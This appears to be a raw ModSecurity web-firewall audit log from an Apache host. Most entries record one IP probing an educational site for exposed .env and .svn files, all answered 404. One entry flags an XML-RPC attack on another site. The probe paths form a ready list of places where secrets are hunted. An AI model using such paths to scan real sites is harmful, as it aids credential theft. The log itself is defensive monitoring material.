--b604c036-A-- [16/Jun/2025:02:15:13.525650 +0530] aE8w2Iv0YhcYGG7mzIplcwAAABU 185.177.72.210 48356 127.0.0.1 7081 --b604c036-B-- GET /:8888/.env.ci HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b604c036-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5d19c9cb346c7f1ac2eca02e4a5137631750020313; expires=Sun, 15 Jun 2025 21:45:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b604c036-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env.ci"] [unique_id "aE8w2Iv0YhcYGG7mzIplcwAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020312824184 701530 (- - -) Stopwatch2: 1750020312824184 701530; combined=1700, p1=426, p2=1174, p3=0, p4=0, p5=100, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b604c036-Z-- --feabf24b-A-- [16/Jun/2025:02:15:18.553912 +0530] aE8w3c0RsCO0eBtdhx6-qQAAAAg 185.177.72.210 48984 127.0.0.1 7081 --feabf24b-B-- GET /:10000/developer/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --feabf24b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1198083100eb8f8a002983c56354be8d1750020318; expires=Sun, 15 Jun 2025 21:45:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --feabf24b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/developer/.env"] [unique_id "aE8w3c0RsCO0eBtdhx6-qQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020317771035 782941 (- - -) Stopwatch2: 1750020317771035 782941; combined=1827, p1=370, p2=1350, p3=0, p4=0, p5=106, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --feabf24b-Z-- --e45ea776-A-- [16/Jun/2025:02:15:19.566344 +0530] aE8w3k-pZ3B--SoGku833wAAABE 185.177.72.210 49024 127.0.0.1 7081 --e45ea776-B-- GET /.svn/prop HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e45ea776-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0a51d97b22625ee9d7493b1ee98cdaaa1750020319; expires=Sun, 15 Jun 2025 21:45:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e45ea776-H-- Message: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.svn/prop"] [unique_id "aE8w3k-pZ3B--SoGku833wAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020318870851 695558 (- - -) Stopwatch2: 1750020318870851 695558; combined=1919, p1=375, p2=1437, p3=0, p4=0, p5=106, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e45ea776-Z-- --f6f77730-A-- [16/Jun/2025:02:15:23.752782 +0530] aE8w40aRoH9PZO5fwRniewAAAAw 185.177.72.210 49386 127.0.0.1 7081 --f6f77730-B-- GET /:8000/wp-content/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f6f77730-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4d6e4f022b6f0e3b91c8a57d6362e2ea1750020323; expires=Sun, 15 Jun 2025 21:45:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f6f77730-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/wp-content/.env"] [unique_id "aE8w40aRoH9PZO5fwRniewAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020323097275 655571 (- - -) Stopwatch2: 1750020323097275 655571; combined=1905, p1=347, p2=1461, p3=0, p4=0, p5=96, sr=81, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f6f77730-Z-- --02ff4462-A-- [16/Jun/2025:02:15:24.846465 +0530] aE8w5E-pZ3B--SoGku834gAAABE 185.177.72.210 49410 127.0.0.1 7081 --02ff4462-B-- GET /secure/.svn/entries HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --02ff4462-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=61ee6bd2d70b34ad34eaa4110f93a5171750020324; expires=Sun, 15 Jun 2025 21:45:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --02ff4462-H-- Message: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/secure/.svn/entries"] [unique_id "aE8w5E-pZ3B--SoGku834gAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020324071177 775353 (- - -) Stopwatch2: 1750020324071177 775353; combined=1913, p1=404, p2=1407, p3=0, p4=0, p5=101, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --02ff4462-Z-- --146a4748-A-- [16/Jun/2025:02:15:26.891622 +0530] aE8w5s0RsCO0eBtdhx6-sQAAAAg 185.177.72.210 49722 127.0.0.1 7081 --146a4748-B-- GET /vendor/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --146a4748-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d6544511f983e6666d5fc143cda748ac1750020326; expires=Sun, 15 Jun 2025 21:45:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --146a4748-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/vendor/.env"] [unique_id "aE8w5s0RsCO0eBtdhx6-sQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020326220264 671434 (- - -) Stopwatch2: 1750020326220264 671434; combined=1909, p1=457, p2=1358, p3=0, p4=0, p5=94, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --146a4748-Z-- --d32e497a-A-- [16/Jun/2025:02:15:34.153614 +0530] aE8w7dxCjYf3vhjKXItufwAAAA8 185.177.72.210 43294 127.0.0.1 7081 --d32e497a-B-- GET /:8008/administrateur/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d32e497a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=93739e98bc8b6f81eb4696488daff2ce1750020334; expires=Sun, 15 Jun 2025 21:45:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d32e497a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/administrateur/.env"] [unique_id "aE8w7dxCjYf3vhjKXItufwAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020333483468 670210 (- - -) Stopwatch2: 1750020333483468 670210; combined=1852, p1=406, p2=1349, p3=0, p4=0, p5=96, sr=108, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d32e497a-Z-- --09a36e1e-A-- [16/Jun/2025:02:15:37.558491 +0530] aE8w8Iv0YhcYGG7mzIplhgAAABU 185.177.72.210 43382 127.0.0.1 7081 --09a36e1e-B-- GET /:8181/sicherung/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --09a36e1e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6712e85d645ab1b30c29a4c4c953e5911750020337; expires=Sun, 15 Jun 2025 21:45:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --09a36e1e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/sicherung/.env"] [unique_id "aE8w8Iv0YhcYGG7mzIplhgAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020336884807 673785 (- - -) Stopwatch2: 1750020336884807 673785; combined=1984, p1=411, p2=1450, p3=0, p4=0, p5=123, sr=116, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --09a36e1e-Z-- --2781d077-A-- [16/Jun/2025:02:15:46.075939 +0530] aE8w-SHEjD4mqWjYVm13XQAAABM 128.199.112.101 55102 127.0.0.1 7081 --2781d077-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --2781d077-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --2781d077-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8w-SHEjD4mqWjYVm13XQAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020345141762 934233 (- - -) Stopwatch2: 1750020345141762 934233; combined=2173, p1=394, p2=1349, p3=47, p4=66, p5=193, sr=119, sw=124, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2781d077-Z-- --42e99f79-A-- [16/Jun/2025:02:16:01.492972 +0530] aE8xCEaRoH9PZO5fwRnikgAAAAw 185.177.72.210 37972 127.0.0.1 7081 --42e99f79-B-- GET /noVNC/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --42e99f79-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a4df7fd86b1e62d62bccb2be4aeb00491750020361; expires=Sun, 15 Jun 2025 21:46:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --42e99f79-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/noVNC/.env"] [unique_id "aE8xCEaRoH9PZO5fwRnikgAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020360822446 670616 (- - -) Stopwatch2: 1750020360822446 670616; combined=1998, p1=413, p2=1442, p3=0, p4=0, p5=142, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --42e99f79-Z-- --5125166e-A-- [16/Jun/2025:02:16:06.141885 +0530] aE8xDSHEjD4mqWjYVm13ZAAAABM 185.177.72.210 38120 127.0.0.1 7081 --5125166e-B-- GET /:8443/backup/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5125166e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1f4c4e45d07a4a125de778d4373f37971750020365; expires=Sun, 15 Jun 2025 21:46:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5125166e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/backup/.env"] [unique_id "aE8xDSHEjD4mqWjYVm13ZAAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020365463376 678572 (- - -) Stopwatch2: 1750020365463376 678572; combined=1702, p1=404, p2=1211, p3=0, p4=0, p5=87, sr=116, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5125166e-Z-- --218be82c-A-- [16/Jun/2025:02:16:10.454071 +0530] aE8xEYl8S04UZ4l67-nYTQAAAAk 185.177.72.210 52688 127.0.0.1 7081 --218be82c-B-- GET /:8080/temp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --218be82c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e9f90efe36446d18cbfeecbdcb085f9c1750020370; expires=Sun, 15 Jun 2025 21:46:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --218be82c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/temp/.env"] [unique_id "aE8xEYl8S04UZ4l67-nYTQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020369592228 861917 (- - -) Stopwatch2: 1750020369592228 861917; combined=2298, p1=526, p2=1681, p3=0, p4=0, p5=91, sr=123, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --218be82c-Z-- --87dd6a5d-A-- [16/Jun/2025:02:16:23.543997 +0530] aE8xHlfWRcme38U-qk7n9QAAAAI 185.177.72.210 42344 127.0.0.1 7081 --87dd6a5d-B-- GET /:8008/.c9/metadata/environnement/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --87dd6a5d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=85e446da8337e25af10998829bd9fba21750020383; expires=Sun, 15 Jun 2025 21:46:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --87dd6a5d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/.c9/metadata/environnement/.env"] [unique_id "aE8xHlfWRcme38U-qk7n9QAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020382899818 644262 (- - -) Stopwatch2: 1750020382899818 644262; combined=2039, p1=413, p2=1531, p3=0, p4=0, p5=95, sr=112, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --87dd6a5d-Z-- --8dc2fd24-A-- [16/Jun/2025:02:16:29.280460 +0530] aE8xJM0RsCO0eBtdhx6-zAAAAAg 185.177.72.210 42628 127.0.0.1 7081 --8dc2fd24-B-- GET /:10000/temp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8dc2fd24-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a392c83a311829749f19fe5a9a78b88f1750020389; expires=Sun, 15 Jun 2025 21:46:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8dc2fd24-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag 